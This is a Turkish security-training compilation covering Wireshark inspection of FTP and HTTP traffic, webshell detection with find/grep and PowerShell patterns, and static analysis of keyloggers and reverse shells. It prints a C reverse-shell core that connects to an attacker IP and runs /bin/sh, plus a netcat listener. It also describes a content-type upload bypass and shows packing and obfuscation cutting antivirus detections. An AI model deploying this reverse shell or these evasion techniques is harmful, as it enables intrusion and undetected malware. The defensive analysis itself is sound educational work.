Başarılı olan dosya işlemleri filtrelemek istersek;
ftp.response.code == 226
Paketlerden birine Follow > Tcp Stream der isek daha fazla detaya ulaşabiliriz.
86. Son olarak içerisinde data olan paketleri inceleyelim. Bunun için ;
ftp-data
Direkt olarak kırmızı alan dikkatimizi çekiyor. Burada bir STOR yani uzak ana bilgisayarda
bir dosya saklama, yükleme işlemi dikkatimizi çekiyor. Yüklenen dosyanın adı
meterpreter.py bunu detaylı olarak inceleyeceğiz.
Yeşil alanda ise bir RETR yani uzaktan bir bilgisayardan dosya çekme işlemi görüyoruz
dosyanın ismi blue_pass.txt bunu zaten NetworkMiner'da içeriğini görüntülemiştik.
Mavi alanda ise LIST adında anlaşabileceği üzere listeleme işlemi yapılmış ve bize veri
dönmüş.
Kırmızı alandaki bir paketi incelemeye alacak olursak;
87. Follow > Tcp Stream der isek zararlının kodlarını rahatlıkla görebiliriz.
zararlı tespit edilen paketin detaylarındaki FTP Data kısmına sağ tık > Export Packet
Bytes.. diyelim
Dosyayı buradaki gibi .py uzantılı şekilde kayıt edersek dosyayı dışa aktarmış oluruz.
88. WEBSHELL TESPİT
WebShell Tespiti ( Ağve Local Tarama )
Protokol hiyerarşisine bakarsakgenelolaraktcp ve httpprotokolleri üzerindeişlemyapılmış.Aynı
zamandaHTTP de MIME type üzerindenişlemleryapıldığınıgörüyoruz.Aşağıdaki gibi birfiltre ileilgili
paketi görebiliriz.
statistics-http-packetcountersekmesinegelelimve httpüzerindeyapılanistekleri,dönenyanıtları
buradanistatistikolarakgörebiliyoruz.
Örneğin106 tane GET isteği yapılmış.Yapılanhttpisteklerinden3tanesi 200 döndürmüşyani başarılı
isteklergerçekleşmiş.Genel olarak401 yani yetkisizerişimcevaplarıdönmüş.Yine yapılanhttp
requestleri statistics-http-requetssekmesindengörebiliriz.
89. Bu şekilde getisteklerini görüyorum.
Yapılan getisteklerini incelemekistersekaramaçubuğunaalttaki filtreyi yazmamızyeterli.
* http.request.method==”GET”
Buradan herhangi birpakete sağtıklayıpfollow –tcp streamdiyerektcppaketlerini birleştiriyorum.
401 dönenyanıtgörüyorumki zaten100 denfazlagetisteğininheperişimkısıtlamasınadüştüğünü
görmüştüm.
90. Bu tipuploadsayfalarındauzantıkontrolüyapılmamaktadır.Sistemkontrolucontenttype değerini
kontrol etmektedir.BurpSuite gibi araçlarile de bumekanizmakolaylıklaatlatılmaktadır.( http
contains“png” ) diyerekfiltre ettiğimizde shelldosyasınınağdaki izinerastlamamızmuhtemeldir.
Örnek:
Bu tipshell yüklemesaldırıları,uploadsayfalarıüzerindeki dosyakontrollerininmime typelere göre
yapılmasındankaynaklanıyor.Halbuki yüklediği phpdosyasıdır,ancakyazılımdauzantısınadeğil
contenttype değerine göre kontrol olduğundanatlatılır.Phpdosyasıyüklenirkencontenttype
değerini pngolarakdeğiştirerekilgilidosyakontrolüatlatılmışolur.
Paketlerinbaşındapshackbayrağının önemi bubayraklıpaketleriniçindedatataşıdığını
belirtmektedir.HttpPshack bayraklı paketleri görüntülemekiçin
* httpcontains“x50x18”
92. Farklı birdosya..
web shell Local tespit
WebShell Tespiti
GünümüzAPTgruplarının saldırılarını analizlerini incelediğimizde DMZyani SavunmasızBölge olarak
çevirisi olanAğımızındışarıya açık olankısmındanyapılansaldırılardır genellikle SosyalMühendislik
Uygulamalarıile gerçekleştirilmektedir. SaldırganLocal File Inclusion,Remote File Inclusion
UnrestrictedFile Uploadgüvenlikaçıklarınıkullanaraksistemiçerisine yani DMZalanınadüşecektir.
Sisteme düşebilmekiçinise “WebShell”dediğimizkoddosyasınısistemüzerine yüklerveyauzaktan
çağırır. Sonra yüklediği koddosyasınıçağırarak sistemüzerindeshell dediğimizkomutekranınıelde
eder.
Bir çok webshell koduvardır genel olarakPHP,Perl,Python,ASP/ASPXvbprogramlamadilleri
kullanılarakyazılabilirsaldırılacaksiteyeözel Local,Remote,Rootvb.çeşitleri bulunmaktadır.Tabii ki
APT grubukendine özel obfuscate edilmişwebshellyazabilir.Bunlarıtespitetmekhaliyle dahazor
olmaktadır.
93. İnternette görülenshellerinhepsi güvenirlikli değildirshelllerde arkakapılar oluşturularakyazarında
sizinsayesindeotomatiksızmasınayardımcıolmuştaolabilirsinizkaynakkodlarıincelenerekherhangi
bir bağlantıisteğininolupolmadığıincelenmesigerekmektedir.
SaldırganShell i attıktan sonraiç ağa sızmak isteyecektirdiğersitelere de bulaşmakiçinveyakritik
bilgilere ulaşmakiçinbuyoluizleyecektir.
Şimdi ise size popülerolanshelltespitaraçlarınıtanıtacağım düzenli olarakaraara yapmanızı tavsiye
ederim.Ancaktemizçıkmasınapekgüvenmeyinsaldırganlarbudurumubildikleri içinbunakarşı
önlemleralmaktadırlar.Buyüzdenmanuel taramayıdagöstereceğimancakotomatize araçlarıda
kullanmayındemiyorumişinizi kolaylaştırmadayardımcıolmaktadır.
Shell tespitedersekeğeryüklenmetarihine bakıpiçağımızı kontrol etmemizgerekmektedirherhangi
bir yetki yükseltmedurumdamüdahaleetmemizgerekmektedir.Ancakbutaramalarımızı düzenli
olarakyaparak iç ağımıza sızmadan müdahale etme şansımızolacaktır.
Neopi
Link:
https://github.com/Neohapsis/NeoPI
Araca taramak istediğinizdizini -A ve -aparametreleri ile verdiğinizde taramaişlemi başlayacaktır.
Tarama işlemi bittiğindetespitettiği webshelleri sizelisteyeleyecektir.
Backdoorman
Bu araç sadece Linux cihazlardaçalışmaktadır.Virustotalvb.apilerikullanarakwebshell tespit
etmeye çalışmaktadır.
Link:
https://github.com/cys3c/BackdoorMan
Aşağıdaki ekrangörüntüsünde gördüğünüzgibi komutuverdiğinizdewebshell tespitişlemi
başlayacaktır.( Sadece PHPdosyalarınıtespitetmektedir
Webshell Detector
Bu araç BackdoorManaracına oranla dahafazlawebshell tespitedebilmektedir.Sadece PHP
dosyalarıdeğil perl,aspxgibi webshell dosyalarınıdatespitedebilmektedir.
Link:
https://github.com/emposha/Shell-Detector
94. Manual Tarama
Manual taramanın önemi özellikle .txt.jpg.pnguzantılıtaramaları da kolaylıklagerçekleştirmemize
olanaksağlamaktadır.Otomatize araçlardasadece bellibirformattataramayapıyordukbuda
savunmakısmında kritikbirdurum.
Linux sistemlerde terminale aşağıdaki komutugirersenizson24saat içerisinde websunucuüzerinde
değiştirilenveyayeni yüklenen“PHP”uzantılıdosyalarlistelenecektir.( " -mtime -1" kısmını
kaldırarakhepsini görüntüleyebilirsiniz.
find. -type f -name '*.php'-mtime -1
Aynı komutuperl, python,aspx,asp,txt,jpgvb.uzantılariçinde uygulayabilirsiniz.
Şüpheli KodTespiti
Dosyalariçinde php’de kullanımışüpheli olankodlarolabilir.Wordpressyadadurupal gibi hazır
sistemlerkullandığınızdasizi yanıltacaksonuçlarçıkartabilir.
find. -type f -name '*.php'| xargs egrep -i
"(fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *("
[*]fsockopen:DDosiçinkullanılabilir,uzaksoketaçmayayarar.
[*]pfsockopen:uzaksoketaçarfsockopen ile aynıdır.
[*]ecex,systemve passthru:sunuculardakomutçalıştırmayayarar.
[*]stream_socket_client:Uzakbağlantıoluşturma.
[*]Kodubase64ile şifreleyerektespitişleminizorlaştırmakisteyebilirler.Shell’inbiryerlerinde
içerisinde “base64”geçenfonksiyonlarınkullanılmışolabilir.
find. -type f -name '*.php'-mtime -1| xargs grep -l "fsock"
find. -type f -name '*.php'-mtime -1| xargs grep -l "shell"
find. -type f -name '*.php'-mtime -1| xargs grep -l "base64
Bu şekilde de tektekyapmakmümkün
95. Burada aklınızdabulunmasıgerekenenönemli şeyshell dosyalarınınsadece PHPolarak
yüklenmediğidir.Saldırganlarshell dosyalarınıresimformatlarıveyaTXTformatlarındada
yükleyebilmektedirler.Oyüzdenyukarıdaki komutlarıresimformatlarınave TXTformatınagörede
çalıştırmalıdır.
Peki yukarıdaanlatılankomutlarıWindowsüzerinde yapamazmıyız?Tabii ki yaparız onuniçinde
Powershell ihtiyacımızvar.
Get-ChildItem-recurse-include"*.php"|select-string"(fsock|shell|exec)"|%{"$_.file-
name):$($_.line)"}|out-gridview
Yukardaki komutile içerisinde “fsock,shell,exec”kelimeleri geçendosyalarıtespitettim.Buanahtar
kelimelerdediğimgibi arttırılabilir.
WebShell ile sızmadaki muhtemelgüvenlikaçıklarıhakkındayapılabilinecek muhtemel saldırılarve
açıklamaları
https://www.owasp.org/index.php/Unrestricted_File_Upload
https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion
97. C KEYLOGGER KAYNAK KOD ANALİZ
C Nedir?
C, 1950'li senelerdenitibarenbaşlayıpgünümüze kadargelenbir programlama dilidir.
KeyloggerNedir?
Keylogger,kurbanınklavyesinde bastığı her tuşun kaydediliphacker(Saldıran taraf)'a iletilmesini
sağlayan bir programdır. Keyloggerkişininbastığı hertuşu kaydettiğindendolayı bilgisayarında
olan bütün hesaplarınele geçirilmesi anmeselesidir.
C KeyloggerKaynak Kod Analizi
98. Dosyalarımızın oluşturulup, keyloggerimizin gizlenmesini ve basılan tuşların çekilmesini sağlayan kodlar bu
bölümde bulunuyor.
Kurbandan gelen bilgiler keys.txt dosyasına kaydedilmekte.
Bu kısımda ise hacker, kurbandan gelen bilgilerin nereye gideceğini seçiyor.
Burada herhangi bir mail sunucusu kullanabilir.
99. Bu konumunda burda sonuna gelmiş bulunmaktayım.
C REVERSE SHELL KAYNAK KOD ANALİZ
Bu yazımızda C ile yazılmış Reverse Shell'in kaynak kodlarının analizini yapacağız..
Öncelikle;
Shell Nedir?
Türkçe karşılığı kabuk olan Shell, kullanıcıdan aldığı komutları yorumlayıp uygulayan bir
katmadır yani kullanıcı ile kernel arasındaki iletişim yoludur.
Reverse Shell Nedir?
Kurban bilgisayarda çalıştığında saldırgan ile iletişimi ve komut çalıştırmasına olanak
sağlayan yapıya reverse shell(ters kabuk) denir.
Senaryonun özeti;
Kurban makinede herhamgi bir yöntem ile sızıldığını düşünelim, bu bir exploit yardımı ile
olabilir.
C ile yazılmış Reverse Shell execute edildi.
Saldırgan ise ilgili portu netcat ile dinlemeye aldı..
100. Buradaki -lvp parametrelerinin açıklamasını yapacak olursak..
-l : dinleme modu,
-v : bağlantı sırasında Standart Error'da olan mesajların ayrıntılı biçimde gösterilmesini
sağlar.
-p : kaynak portun belirtildiği parametredir.
Kurban makinede Reverse Shell çalıştığı anda görüldüğü üzere bağlantı sağlanmış olur ve
saldırgan kurban makinede bir shell elde etmiş oldu..
Sıra geldi kurban makinede execute edilen Reverse Shell'in kaynak kodunu incelemeye..
101. int mySocket;
mySocket = socket(AF_INET,SOCK_STREAM,0);
Görüldüğü üzere bir soket yapısı oluşturulmuş, bu yapı IPv4 protokolünü kullanarak TCP
üzerinden veri alışverişi gerçekleştirmektedir.
struct sockaddr_in blue;
blue.sin_family = AF_INET;
blue.sin_addr.s_addr = inet_addr("192.168.136.130");
blue.sin_port = htons(4444);
Burada blue adında bir struct oluşturulmuş.Veri alışverişinin özellikleri belirtilmiş. Saldırgan
kendi adresini ve veri alışverişinin yapılacağı portu belirtmiş.Yani yukarıda netcat ile dinleme
yapan saldırganın adresi inet_addr("192.168.136.130");
port ise htons(4444); bilindiği üzere dinlemeye aldığı TCP 4444 numaralı porttu.
connect(mySocket,(struct sockaddr *)&blue,sizeof(blue));
Saldırgan kendisine connect fonksiyonu ile bağlantı isteği gönderiyor. Burada 1. parametrede
oluşturulan soket ismi, 2. parametre olarak saldırganın bilgilerinin tutulduğu veri yapısı son
parametre ise bilgilerin boyutunun tutulduğu kısımdır.
execl("/bin/sh","sh","-i",NULL,NULL);
execl fonksiyonu ise saldırganın uzaktan komut çalıştırma imkanı tanıyacaktır.
102. execl() ilk parametre olarak çalıştırılabilir dosyanın yol bilgisini alır. Bu da "/bin/sh" dir.
/bin/sh , Bash benzeri bir komut yorumlayıcısıdır. POSIX kabuğu olarak da geçer.
İlk 3 parametreyi şöyle düşünebilirsiniz;
execl() fonksiyonu içerisinde de aslında bu işlemin aynısı yapılır ve bir komut yorumlayıcısı
açılır.
PYTHON KEYLOGGER KAYNAK KOD ANALİZ
Merhaba arkadaşlarkonumuzbirpython aracının zararlı olduğununasıl anlarızbunu paylaşacağım.
İlkönce bakmamız gerekenşeykaynakkodlarınaerişmekolacaktır.Ulaştığımızıfarz ederek
anlatmayadevemediyorum.
Kaynakkodunaeriştiktensonrailkbakmamızgerekenyerprogramaeklenenkütüphanelere bakmak
olacaktır.Örnekverecekolursak( smtplib) kütüphanesini gördüğümüzdenbirsmtpile bağlantı
kurabileceğisonucunavarmışoluyoruz.Aşağıdaki örnekteki gibi:
Görüldüğügibi pynputKeyListenerdirektel sallıyorbenklavye dinliyorum diye.Bununlabirlikteweb
sitesine birveri alışverişiyaptığınırequestskütüphanesiile anlıyoruz.Budasıradan ancak keylogger
olmaihtimaliniarttırmaklabirlikte( socketve smtplib) kütüphaneleri de bizeartıkbenbir
keyloggerimdiyor.
103. Eğer kaynakkodlarıgörememişolsaydıkstatikanalizkısmındakeyloggerolduğukanısınavaracaktık
ve kendimizi sanal ortamdaenfekteedipdurumuonagöre analizetmişolacaktık.
kaynakkodlarınıanalizetmeye devamediyorumve oluşturulanlogdosyasınıne kadarsüre ile
atacağını ve atarkende içeriğini formatınıdagörmüşolduk.
Süre 60 saniye yani logdosyasınıdakikadabirgönderecekdemekoluyor.Genel olarakKeyloggerler
içinminimum15 dkgibi bir süre verilmektedirçünküarkaarkayaatılan maillerden dolayıspama
düşme durumusözkonusuolduğundandolayı15 dk.verilmektedir.Ancakbanasorarsanızverimli
olmasıbakımından ftpsunucusu+ 24 saate birlog dosyalarınınuploadedilmesiyönünde olurdu.
Çünkükodlarışifreleyeceğimdendolayıdinamikanaliziyapmakzorundakalacakinsanlargenelolarak
sabırlı olmadığından1 gün boyuncasanal sunucuyuaçık bırakmayacaklarındandolayıbircokkişi
keyloggere temizsonucunuveriyor.
104. En son olarakbu tarzda birgmail ve parolasıgibi kod betiğinerastladığınıztaktirde direktzararlı
olaraknot düşünüz.
Konumuzbukadardı İyi forumlardilerim...
PYTHON REVERSE SHELL KAYNAK KOD ANALİZ
Konumuzpaketlenmişbirpythonprogramızıne kadar statikstatikanalizyapabileceğimizi
inceleyeceğiz
önceliklepyarmoryükleyelimyüklemekiçin
pipinstall pyarmor
yazmanızyerelidirpaketlemekiçinise
pyarmorobfuscate (program_adı).py
yazarak kodlarımızı gizlemişolacağızdahafazladetayiçin
(http://pyarmor.readthedocs.io/en/latest/how-to-do.html) sayfasınıinceleyebilirsiniz.
Bu gününtarihi olarakpyarmor 6.6.1 güncelsürümünükullanacağız.
Şimdi keylogerimiziobfuscateedelim
106. Kaynakkodlarınıincelemeye geçelim.Obfuscate edilmişdosyadagörildüğügibi şekildeprogramın
hangi kütüphaneyi kullanıyorhiçbirşekilgöremiyoruzbuprogramhakkındaedinebileceğimiztekbilgi
pyarmorile obfuscate edilmişolmasıdır.
Paranteziçindeki kodunhexkoduolduğunubiliyoruzbunudecode ettiğimizde sadece pyarmor
olduğunugörüyoruz.
Bu yüzdenbize 3seçenekkalıyor.Yabu sürümünçözücü decoderinibulupkaynakkodaerişeceğizya
bu şifreleme algoritmasınırem üzerindenmanual olaraksonucubulupkaynakkodunaerişeceğiz.
Yada son çare olarakdinamikanalize girişeceğiz.
konumuzbukadardı pythonkodlarıiçintemel statikanalizolaraktoplayacağımızverilerve çıkarımlar
kısaca IOC lar bunlardır.
108. C KEYLOGGER TEMEL STATİK ANALİZ
Keyloggerimizi packingişlemi yapmadanönce taratalım.
12/37 gibi birsonuçaldık artık packingişleminiyapabiliriz.
Benpackingişleminiupx ile yapacağımsizistersenizfarklıbirpackerskullanabilirsiniz.
upx,yazılımdaki tümregisterkeys’i yani pushall registersyapıphafızayaatarardından sahte bir giriş
noktası,entrypointoluşturarakişleyişi bozmamantığıylaçalışır.
110. Bu da packingişlemi yaptıktansonraki hali,6/37sonucunubize verdi.
StatickAnalysisbölümündenzararlımızhakkındabilgi toplayabiliriz.
111. Zararlımız hakkındametadatagibi bilgileri görebiliyoruz.Buradaufakbirparantezaçıp bazı kısımlara
değinelim.PEbaşlığıprogramtarafından tutulankütüphane ve fonksiyonbilgilerini saklar.PEbirçok
bölüme ayrılır.(.text,.rdata.data,.rsrc vb.) Burada upx ile packedilmişzararlımızıincelediğimiz
zaman PE sectionsalanındaupx0,upx1,upx2yeraldığını görüyoruz.Bu da executable’ınupx ile
packlendiğininbirkanıtıdır.Aynı zamandauygulamanınimportettiği DLLdosyalarınıda görmekteyiz.
Burada “ws2_32.dll”dosyasının importedildiğini görüyoruz.BuDLL dosyasıağ üzerindenbağlantı
açmak içinkullanılır.Tıpkı “wsock32.dll”dosyasındaolduğugibi. Artıkunpackişleminegeçebiliriz.
Detectit easy(die) ve Exeinfo’dangördüğümüzüzere zararlımızupx ile packlenmiş.
113. Şimdi Stringsaracıylapacklenmişve unpacklenmişhalini inceleyelim.
Görüldüğüüzere packlediğimizzararlınıniçinde UPX0,UPX1gibi yazılar gözükmekte.BunlarPE
Sectionsalanındagörülenbilgileridi.Sağtaraftaise packlenmemişhalininstringsanalizinde .text,
.data,.bss gibi segmentlerigörebilmekteyiz.Buradastringsile uygulamanıniçerisindegeçen
karakterleri inceleyerekzararlıhakkındabilgileredineceğiz.
C REVERSE SHELL TEMEL STATİK ANALİZ
Temel Statik Analiz - C Reverse Shell
Statik Analiz Nedir?
Bilindiği üzere Malware analizi iki farklı kola ayrılmıştı bunlar; statik analiz ve dinamik
analizdir. Biz bu yazıda Statik analiz üzerinde duracağız. Nedir bu Statik analiz diyecek
114. olursak, uzunca anlatmadan analiz edilecek zararlı yazılımın canlı ortamda çalıştırılmadan
temel manada incelenmesidir.
Burada zararlı yazılımın obfuscating ve packing işlemlerinin olup olmadığı,hangi dosyaları
import ettiği, hangi kütüphaneleri kullandığı, string değerleri, fonsiyonlar.. gibi bilgileri
incelemek ana amacımızdır. Bu bilgiler bize zararlı hakkında önbilgi ve dinamik analiz için
basamak oluşturacaktır.
Senaryomuzda elimizde bulunan Windows sistemler için C ile yazdığımız Reverse Shelli
paketlediğimizi düşünelim ve
Bu dosyayı analiz etmek istersek ilk olarak yapacağımız işlem, Virustotal kullanarak bu
dosyayı taratmak olacaktır.
görüldüğü gibi 13 adet antivirus programı bu dosyayı virüs veya türevi şeklinde algıladı.
https://www.virustotal.com/gui/file/d2e7625750ca69f5a816380f5aa81a968245325f027d4de8
1b9c451397c0826c/detection
Packing işlemi yapmadan önceki vt taraması aşşağıdaki gibidir, packing işleminin etkisini
daha net görebilmekteyiz.
115. https://www.virustotal.com/gui/file/d3bafbbdd81f27c3039c43966b3c38f64f2850bf6b3768ba4
55254855a94446c/detection
Evet konumuza dönelim ve packing işlemi yapılmış dosyadan devam edelim...
Details bölümünde dosyanın temel bilgileri(hash değerleri, boyutu, türü vs..), zaman
bilgilendirmesi(oluşturma, ilk gönderim, son gönderim, son analiz tarihi), header bilgisi,
import ettiği dll dosyalarına ulaşılabilir.
Relations bölümünde yaptığı bağlantı hakkında bilgi almaktayız.
Behavior bölümünde ise yaptığı bağlantının adresi ve hangi port üzerinden olduğu bilgisini
görmekteyiz. Ayrıca açılan dosyalarda görülmekte...
116. Virustotal'den temel olarak bilgiler edindik. Şimdi izole edilmiş bir sanal makinede statik
analize devam edelim..
Packing işlemini yapıldığını zaten biliyorduk fakat bunu şimdilik unutalım, başlangıç olarak
dosya üzerinde herhangi bir obfuscator veya packer işlemi olup olmadığını kontrol edelim.
Bunun için Die 1.01 veya PEiD v0.95 kullanılabilir.
Görüldüğü üzere PeCompact ile paketlenmiş...
Paketleme işleminden kurtulmak için RL!dePeCompact 2.x unpacker aracı kullanılabilir..
117. Paketlemeden kurtulduktan sonra statik analize devam edelim...
import edilen dll hakkında bilgi almak için CFF Explorer kullanabiliriz.
Görüldüğü üzere zararlı WSOCK32.DLL ağ erişimi için kullanıyor. Aşşağı bölümde ise
kullanılan fonksiyonlar görülmektedir.
connect() sayesinde dışarıdan bir sisteme bağlantı yapabiliyor, send() ile veri gönderebiliyor
vs...
118. Ayrıca KERNEL32.dll içerisindeki sleep() fonksiyonu da zararlı yazılımlarda çokca
kullanılan bir methodtur.
Son olarak da pestudio ile inceleme yapacak olursak...
strings bölümünde bazı dikkat çeken şeyler bulabiliriz. Bu bir ip veya domain olabilir. Ayrıca
burada da kütüphane isimleri, fonksiyonlar, iletişim yolu olarak kullanılan
protokoller(ftp,smtp...) bulunabilir.
Bizim burada gözümüze çarpan local bir ip adresi muhtemelen reverse shellin iletişime
geçtiği adres.
Statik analiz basic olarak böyle.. Daha sonrasında dinamik analize geçilerek daha net
yargılara varılabilir.
119. PYTHON REVERSE SHELL TEMEL STATİK ANALİZ
Herkese merhaba, bugünkü konumda Python ile yazılmış olan reverse shell'in yaramazlıklarını bulacağız.
STATİKANALİZNEDİR
Statikanalizenbasittanımı ile programlarıfiilençalıştırmadanbirnevi pasif olarakyapılananalizdir.
Genelde statikanaliz,kaynakkodüzerindengerçekleştirilir.(bkz:unpack) Buanaliztipindezararlı
yazılımın hangi dosyalarıkullanmakistediği,hangi kütüphaneleri kullandığı,stringdeğerleri hatta
bazenboyutugibi temel taşlarincelenir.
Tanımımız bukadardı. Artık fasulyeninfaydalarındanbahsedebiliriz.Şimdielimizde birtane Python
reverse shell var,statikanalizde de tanımımızdanhatırlayacağımızüzere amacımız program
yürütülmedentemel taşlarıincelemekti.Ozamançok klişe biryöntemolanVirusTotal'e taratalım
zararlı olduğunudüşündüğümüz.exe'mizi,bakalımbize nelerverecek.
Gördüğünüz gibi 5 tane antivirüs programı uyanabilmiş. Durum içler acısı.
Şimdi geldik bu işlemin önemli tarafına. 'Details' ve 'behavior' kısımlarını başta iyi incelemeliyiz ki işin
devamında biraz daha rahatlayalım.
121. Behavior kısmında ise runtime modüllerini gördük. Şimdi gelin bunların üstüne biraz kafa yoralım.
Öncelikle 'details' kısmında bazı .dll'ler çıktı karşımıza. kernel32.dll, işletim sisteminin temel işlevlerini
yerine getirmek; bellek yönetimini sağlamak, giriş ve çıkış donanımlarını kontrol etmek gibi görevleri
yerine getiren Windows modülüdür. Ama burada öncelikle gözüme çok önemli bir fonksiyonu çarptı. O da
GetCurrentProcess. Bu fonksiyon Windowsça process_all_acces hakkına sahip yani herhangi bir işlem için
maksimum erişim hakkı. Zatenkıllandığımız yazılım burada bizi iyice kızdırıyor. Artık VirusTotal faslından
biraz daha derine inme vakti, göreceğimizi gördük zaten.
Bu kısma kadar VirusTotal'den programda kullandığımız .dll'leri gördük ve temel olarak ne işe yaradığını
biliyoruz artık ama temel olarak. Daha kapsamlı olması için bu .dll'leri CFF Explorer ile inceleyeceğiz statik
analiz için kapsamlı ve kullanışlı bi' şey. Bu kısma geçmeden önce her ihtimale karşı zararlımızısanal
ortamda açmak bizim yararımıza olur. Kamu spotundan sonra artık devam edebiliriz.
Programımız bize VirusTotal'de gördüğümüz .dll'leri verdi tekrardan. Ama bakalım alt kategorilerde yeni
neler ile karşılaşacağız.
İncelemeye başlar başlamaz karşıma muhteşem üçlü çıktı. Adından da anlayacağınız üzere yanlış ellerde
dosyalar üzerinde birtakım işlem hakkına sahip bu fonksiyonlar.
122. Yine karşımıza kötü çocuklar çıktı. GetCurrentProcessId isimli fonksiyon makineniz üzerinde herhangi bir
süreç sona erene kadar, sistem genelinde süreci tanımlıyor ki zararlı yazılım eğer soket bağlantısı kuruyor
ise bu tehlikeli bir şey. GetSystemTimeAsFileTime fonksiyonu ise sistem bilgilerini (saat, dosya değiştirme
tarihi, yapılan yüklemelerin tarihi) çekiyor.
Bir diğer .dll'miz de ADVAPİ32.dll idi. Tek bir fonksiyon kullanılmış bu .dll altında ama baya bi' can alıcı bir
fonksiyon bu. ConvertStringSecurityDescriptorToSecurityDescriptorW fonksiyonu dönüştürülen
tanımlayıcının boyutunu bayt cinsinden alan bir değişkene ışık çakıyor. En üstte linkini bıraktığım konumda
bunla ilgili bir kod parçası vardı hatırlarsanız.
Sonuç olarak programımızın bir zararlıyazılım olduğuna kanaat getirmiş olduk yaptığımız birtakım işlemler
ile bugünkü konum bu kadardı herkese iyi günler dilerim.
TEMEL STATİK MALWARE ANALİZ TEKNİKLERİ
Bu konudasizlere zararlıyazılımlarüzerinde temel statikanalizinadımlarınıuygulamalıolarak
göstermekistiyorum.
Temel Statik Zararlı YazılımAnalizi
Statikanaliz,şüphelidosyayıçalıştırmadananalizetme tekniğidir.Yani bunubirazdahaaçmak
gerekirse zararlıdosyasistemüzerinde çalıştırılmaz,işleviniyerinegetirmedenodosyaüzerinde
analizlerile zararlıhakkındaçıkarımlargerçekleştirilir.İşte bizbunastatikzararlıyazılımanalizi
diyoruz.Tabii bizstatikanalizi de kendi içerisinde iki başlığaayırıyoruz. Temel StatikAnaliz ve İleri
StatikAnaliz olmaküzere iki başlığaayırıyoruz.Heriki seviyede de zararlıçalıştırılmaz.İleri statik
analizolayınıtemel analizsüreçlerindensonraişleyeceğiz.Bugünodaklanacağımızkonutemel statik
analizteknikleri olacak.
123. Temel Statik Analiz Adımları
Temel statikanalizinde nelerelde edeceğimizi birkaçmadde ile sıralayalım.
- Zararlı yazılımın hedef mimarisini belirleme
- Zararlı yazılımın virüstotal çıktılarını elde etme
- Dosyanınişlevi ile ilgili verileri ayıklama(strings,functions,imports…)
- Var ise analizi engellemekiçinuygulanantekniklerintespitedilmesi
Temel statikanalizde genel olarak bumaddelerüzerine yoğunlaşacağız.Kendimizebiradetzararlı
dosyabelirleyelimve tekniklerimizi kendisiüzerinde uygulayalım.
Elimizde malware.exeadındabirzararlı dosyavar. Dosyanınuzantısına baktığımız zamanexe
olduğunugörebiliyoruz.Yani şuandaelimizde çalıştırılabilirbirdosyaformatıolduğunugörüyoruz.
Ancaksadece uzantıya güvenmekbiziyanılgıyadüşülebilir.Bununiçinsadece uzantıyadeğildosyanın
imzasınada bakmamızgerekiyor.Bizimdosyamızınuzantısıexe olarakgörünüyor.Şimdidosyanın
mimarisi ile ilgili bilgiedinelim.
PE32 executableyani 32 bitlikmimaride yürütülebilirbirdosyaolduğunubize söylüyor.Dosyanınhex
değerlerindenanalizinebakalım.hexeditormalware.exe komutunuuygulayalım.
4D 5A exe dosyasınaaittanımlayıcı numaradır. Buradanda bu dosyanınimzatabanlı olarakexe
dosyasıolduğunuanlayabiliriz.Bunudaburayabırakayım
https://filesignatures.net/index.php?search=EXE&mode=EXT
Analizadımlarımızınilki olandosyamimarisi hakkındabilgiyieldeettik.Şimdi ise exe dosyamızı
virustotal webadresineyükleyerekantivirüsyazılımlarıtarafındannasıl tanındığına bakalım.
İlgili dosya49 antivirusyazılımıtarafındanzararlı olarak algılandı.
124. Detailssekmesindende uygulamanınmimarisi hakkındabilgiyeulaşmışolduk.
Uygulamamızexecutable formattabusebeptenPortable Executable formatınıkullanmaktadır.
Buradaki PE formatınınalanlarını birazaçalım.
.textbölmesindeuygulamanınmakine hali bulunuyor.
.rdata bölmesinde uygulamanınexportve importbilgileri yeralıyor.
.data bölmesinde global değişkenleryeralıyor.
.rsrc bölmesindeise uygulamanınkullandığıikonvs.yeralıyor.
Uygulamanınimportettiği DLL dosyalarıda bize uygulamanınişlevihakkındabilgilersunuyor.
ADVAPI32.DLLWindowsiçinönemlibirparçadır kendisi.
Burada iki fonksiyonukullandığınıgörüyoruz.Bunlarfonksiyonayırma,başlatma,serbestbırakma
işlevlerini yerine getiriyor.
KERNEL32.DLL ise donanımaerişimve müdahale de sıklıklakullanılanDLLdosyasıdır.Yani zararlı
yazılım geliştiricileri içinbirnimettirkendisi.BuDLL dosyamızdaepeybirfunctionkullanıyor.Bunların
hepsini ayrıntılıaçıklayamam,hepsi içinmsdn sayfasındayeteri kadaraçıklamavar. Burada
dikkatimiziçekenfonksiyonlaraodaklanacağız.
125. CreateFileW,CreateFileAfonksiyonlarıdosyaokumave yazmaişlevleriniyerinegetiriyor. GetFileType
fonksiyonuise belirtilendosyanıntürünüalır.Bu3 fonksiyonumuzwin32api - file api başlığıaltında
yeralan fonksiyonlardır. https://docs.microsoft.com/en-us/windows/win32/api/fileapi/ buraya
bırakalım.
Sleep,CreateEventAfonksiyonlarıise synchapi.hbaşlığıaltındayeralanfonksiyonlardır.
BunlardaMSDN sayfalarındanaçıklamalarolsun.
Yine dosyaişlemleri ilealakalıbirçokfonksiyonyeralıyor.DiğerDLLdosyamızageçelim.
126. Bu DLL içinC çalışma zamanı kitaplığıdiyebiliriz.Burada reallocfonksiyonuayrılmışbirbellekalanına
yeni birboyuteklemekiçinkullanılıyor. Mallocfonksiyonudabellekalanıayırmakiçinkullanılıyor.
Yani bufonksiyonlardinamikbellekyönetimi içinkullanılanfonksiyonlardır. <stdlib.h> ve
<malloc.h> kütüphanelerine ihtiyaç duyarlar. Diğer fonksiyonlarda dosya ve çıktı yazma işlevlerini
yerine getiriyor.
Bu iki dll dosyamızağ bağlantılarıiçinkullanılanDLLdosyalarıdır.Üzerlerinde fazlakonuşmayagerek
duymuyorumki zatenne işlevi yerinegetirdikleri çokbelli.
Burada ise biradetIP adrestespitedilmiş.Buradanaslındaçıkaracağımız sonuçbu adresinsaldırgana
ait olduğuyani bağlantınınkurulacağıadresolduğunudüşünebiliriz.Budaaslındaters bağlantı
sağlayanbirzararlının olduğunadairbiripucudur.Ki zatenağ işlemleriiçinde DLLdosyalarıyer
alıyordu.Bu IPadresini birazdahaaraştırabiliriz.(Tamamlocal adresdemeyinhemensenaryogereği.)
127. İlgili sayfaüzerinde IPadresi içinistihbarataraştırmasıyapıyoruzancak kabul edilmiyortabii,e dedik
